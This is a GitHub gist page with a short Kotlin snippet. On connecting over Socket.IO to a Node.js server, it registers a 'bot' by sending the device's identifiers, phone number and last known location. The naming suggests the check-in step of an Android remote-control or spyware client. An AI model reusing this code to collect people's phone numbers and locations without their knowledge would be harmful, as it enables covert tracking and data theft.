Skip to content

Instantly share code, notes, and snippets.

@abhinavsuthar
Last active April 22, 2018 13:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abhinavsuthar/b470b9320e20c285b81f724b43042784 to your computer and use it in GitHub Desktop.
Save abhinavsuthar/b470b9320e20c285b81f724b43042784 to your computer and use it in GitHub Desktop.
val server = "http://10.24.xx.xx:3000" // Adress of node.js server
val socket = IO.socket(server);
socket.on(Socket.EVENT_CONNECT) { //This function will callled up when connection to server is extablished
val params = CommonParams(this)
val bot = JSONObject()
bot.put("uid", params.uid)
bot.put("provider", params.provider)
bot.put("device", params.device)
bot.put("sdk", params.sdk)
bot.put("version", params.version)
bot.put("phone", params.phone)
bot.put("location", getLastLocation())
socket.emit("registerBot", bot) //To send data to server on connection
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment